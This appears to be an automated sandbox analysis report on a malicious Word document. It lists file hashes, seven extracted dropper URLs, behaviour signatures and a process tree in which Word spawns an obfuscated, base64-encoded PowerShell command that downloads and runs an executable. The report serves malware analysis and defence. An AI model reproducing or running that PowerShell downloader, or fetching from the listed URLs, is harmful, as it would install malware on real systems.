Analysis

  • max time kernel
    99s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-05-2024 05:22

General

  • Target

    861504aa54be440eefa6c54145b37b45_JaffaCakes118.doc

  • Size

    159KB

  • MD5

    861504aa54be440eefa6c54145b37b45

  • SHA1

    228929dec637253e466c7381efd011401735170a

  • SHA256

    2d7147815cf324934d8380a96ef712051bb5ba4d985b3a55143d688d8f91c3a8

  • SHA512

    1946a6fae96ad2f2f8a7e41a0c723c93484ee2cfe0e9c6f344ba5ba367862499b6e049bb53bf202e34a0f08f9533dd205407ebb77cd1791483a25aee7776e914

  • SSDEEP

    1536:+iaqasrdi1Ir77zOH98Wj2gpngx+a9RxRiqLE8ct2PU7eXKSSxH5ppJxEFWZ:+0rfrzOH98ipgJkJxEFWZ

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://77yxx.com/b5rh/bZxS/

exe.dropper

http://shahramookht.com/t1k12k7t/8jq/

exe.dropper

http://www.aciitaly.com/adminer-master/gkI/

exe.dropper

https://codelta.es/images/9S35FR/

exe.dropper

https://burstoutloud.com/PPL/Hf/

exe.dropper

https://targetin.com/Silder-1/naK/

exe.dropper

http://dbestfishing.com.sg/67s/wfe/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 10 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\861504aa54be440eefa6c54145b37b45_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4592
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -encod JABJADMAbAB1AGcAZwB2AD0AKAAnAEUAYgAnACsAKAAnAHUAJwArACcAXwBsAHMAJwApACsAJwB2ACcAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAGUAcgBwAFIATwBmAEkAbABFAFwAVQBpAEgAaABhAF8AbABcAGYAcQBGAEsAYgBxADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBjAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAHUAUgBJAHQAeQBgAFAAYABSAG8AdABvAGMAYABvAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAnACsAKAAnADIALAAgAHQAJwArACcAbAAnACsAJwBzADEAMQAsACAAJwApACsAKAAnAHQAbAAnACsAJwBzACcAKQApADsAJABGAF8AegB3AGYAcgBrACAAPQAgACgAKAAnAEgAJwArACcAcwByADcAdwAnACsAJwBtACcAKQArACcAaAAnACsAJwBkAHQAJwApADsAJABRAGQANABnAHkAMwBnAD0AKAAnAEgAbwAnACsAJwBnADEAJwArACgAJwAwAHYAJwArACcAeQAnACkAKQA7ACQAQgA1ADEANQB1ADAAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnAE8AJwArACcAZwBpAFUAaQAnACkAKwAoACcAaABoAGEAJwArACcAXwAnACkAKwAoACcAbAAnACsAJwBPAGcAaQAnACkAKwAoACcARgBxACcAKwAnAGYAawAnACsAJwBiAHEANABPACcAKQArACcAZwBpACcAKQAgAC0AcgBFAFAAbABhAGMAZQAgACgAJwBPACcAKwAnAGcAaQAnACkALABbAGMAaABBAHIAXQA5ADIAKQArACQARgBfAHoAdwBmAHIAawArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAQQBfAHEAbABiADEANgA9ACgAKAAnAFoAJwArACcAdABfADkAJwApACsAJwBrADAAJwArACcAdQAnACkAOwAkAFMANgBfAG4AbgA3AGEAPQAuACgAJwBuAGUAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBFAEIAQwBMAGkARQBOAFQAOwAkAFQAeAAyADMAXwBhAGQAPQAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwADoAJwApACsAKAAnAC8AJwArACcALwA3ACcAKQArACcANwAnACsAKAAnAHkAJwArACcAeAB4ACcAKQArACcALgBjACcAKwAoACcAbwBtAC8AJwArACcAYgAnACkAKwAoACcANQByACcAKwAnAGgALwBiAFoAeABTACcAKwAnAC8AJwApACsAKAAnACoAaAB0AHQAcAAnACsAJwA6ACcAKQArACgAJwAvACcAKwAnAC8AcwAnACkAKwAnAGgAYQAnACsAKAAnAGgAcgAnACsAJwBhAG0AbwBvACcAKwAnAGsAaAB0ACcAKQArACcALgBjACcAKwAoACcAbwBtAC8AdAAnACsAJwAxAGsAJwApACsAKAAnADEAMgBrACcAKwAnADcAJwApACsAJwB0AC8AJwArACgAJwA4ACcAKwAnAGoAcQAvACcAKQArACcAKgBoACcAKwAoACcAdAB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAHcAdwB3AC4AYQBjACcAKwAnAGkAJwArACcAaQAnACsAJwB0AGEAbAAnACkAKwAoACcAeQAnACsAJwAuAGMAbwBtACcAKwAnAC8AJwApACsAJwBhAGQAJwArACcAbQAnACsAKAAnAGkAbgAnACsAJwBlAHIALQBtAGEAcwAnACsAJwB0ACcAKQArACgAJwBlACcAKwAnAHIALwBnAGsAJwApACsAJwBJACcAKwAoACcALwAnACsAJwAqAGgAJwApACsAJwB0AHQAJwArACcAcABzACcAKwAnADoAJwArACgAJwAvAC8AYwAnACsAJwBvACcAKQArACgAJwBkAGUAbAB0ACcAKwAnAGEAJwApACsAJwAuACcAKwAoACcAZQAnACsAJwBzAC8AJwApACsAJwBpACcAKwAoACcAbQAnACsAJwBhAGcAZQBzAC8AJwArACcAOQBTADMANQAnACsAJwBGAFIAJwApACsAJwAvACoAJwArACgAJwBoAHQAdABwAHMAOgAvAC8AYgAnACsAJwB1AHIAJwArACcAcwAnACsAJwB0AG8AdQAnACkAKwAoACcAdAAnACsAJwBsAG8AdQBkACcAKwAnAC4AYwBvAG0ALwBQAFAATAAvAEgAZgAvACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAJwBzADoAJwApACsAKAAnAC8ALwAnACsAJwB0AGEAJwApACsAKAAnAHIAZwAnACsAJwBlAHQAaQAnACsAJwBuAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AUwBpACcAKQArACgAJwBsAGQAZQByAC0AMQAvACcAKwAnAG4AYQAnACsAJwBLAC8AJwArACcAKgBoAHQAdAAnACsAJwBwACcAKQArACcAOgAvACcAKwAoACcALwBkACcAKwAnAGIAJwArACcAZQBzAHQAZgBpAHMAJwApACsAKAAnAGgAaQBuACcAKwAnAGcALgBjAG8AbQAnACsAJwAuACcAKwAnAHMAZwAnACkAKwAoACcALwA2ADcAJwArACcAcwAvAHcAJwApACsAKAAnAGYAZQAnACsAJwAvACcAKQApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEEANgB2AHIAXwBhAG8APQAoACgAJwBWACcAKwAnAHQAaABoACcAKQArACgAJwAyACcAKwAnAHYAdQAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEsAdgB4AGkAZAA1AHQAIABpAG4AIAAkAFQAeAAyADMAXwBhAGQAKQB7AHQAcgB5AHsAJABTADYAXwBuAG4ANwBhAC4AIgBEAE8AVwBOAGAATABvAGEAYABkAEYASQBgAEwAZQAiACgAJABLAHYAeABpAGQANQB0ACwAIAAkAEIANQAxADUAdQAwAHIAKQA7ACQARgBpAG0AaQB5AGgAawA9ACgAKAAnAEcAdQAnACsAJwBoACcAKQArACgAJwBmACcAKwAnADQAagB0ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEIANQAxADUAdQAwAHIAKQAuACIAbABlAGAATgBHAHQASAAiACAALQBnAGUAIAAyADYANgA1ADMAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAbwBrAGUAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAoACQAQgA1ADEANQB1ADAAcgApADsAJABaAHoAZABhAGcAcABhAD0AKAAnAFIAJwArACgAJwBzACcAKwAnAHQAdAAnACkAKwAoACcAeQAnACsAJwB0AG8AJwApACkAOwBiAHIAZQBhAGsAOwAkAEMAegBjAHgAbQB1ADUAPQAoACgAJwBSACcAKwAnAGkAcAAnACkAKwAoACcANABqACcAKwAnADAAJwApACsAJwB1ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBuADIANwBxADYAYgA9ACgAJwBJAHgAJwArACgAJwBfADEAMgBuACcAKwAnAHYAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2248

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCD85BD.tmp\sist02.xsl

    Filesize

    245KB

    MD5

    f883b260a8d67082ea895c14bf56dd56

    SHA1

    7954565c1f243d46ad3b1e2f1baf3281451fc14b

    SHA256

    ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

    SHA512

    d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wrwrrr4f.ext.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2248-79-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2248-584-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2248-576-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/2248-89-0x0000012B227A0000-0x0000012B227C2000-memory.dmp

    Filesize

    136KB

  • memory/4592-15-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-23-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-9-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-10-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-7-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-11-0x00007FFD3CB80000-0x00007FFD3CB90000-memory.dmp

    Filesize

    64KB

  • memory/4592-12-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-13-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-16-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-17-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-19-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-22-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-20-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-18-0x00007FFD3CB80000-0x00007FFD3CB90000-memory.dmp

    Filesize

    64KB

  • memory/4592-0-0x00007FFD3F430000-0x00007FFD3F440000-memory.dmp

    Filesize

    64KB

  • memory/4592-14-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-21-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-8-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-35-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-36-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-6-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-5-0x00007FFD7F44D000-0x00007FFD7F44E000-memory.dmp

    Filesize

    4KB

  • memory/4592-4-0x00007FFD3F430000-0x00007FFD3F440000-memory.dmp

    Filesize

    64KB

  • memory/4592-1-0x00007FFD3F430000-0x00007FFD3F440000-memory.dmp

    Filesize

    64KB

  • memory/4592-572-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-573-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-574-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-575-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB

  • memory/4592-2-0x00007FFD3F430000-0x00007FFD3F440000-memory.dmp

    Filesize

    64KB

  • memory/4592-3-0x00007FFD3F430000-0x00007FFD3F440000-memory.dmp

    Filesize

    64KB

  • memory/4592-601-0x00007FFD3F430000-0x00007FFD3F440000-memory.dmp

    Filesize

    64KB

  • memory/4592-602-0x00007FFD3F430000-0x00007FFD3F440000-memory.dmp

    Filesize

    64KB

  • memory/4592-604-0x00007FFD3F430000-0x00007FFD3F440000-memory.dmp

    Filesize

    64KB

  • memory/4592-603-0x00007FFD3F430000-0x00007FFD3F440000-memory.dmp

    Filesize

    64KB

  • memory/4592-605-0x00007FFD7F3B0000-0x00007FFD7F5A5000-memory.dmp

    Filesize

    2.0MB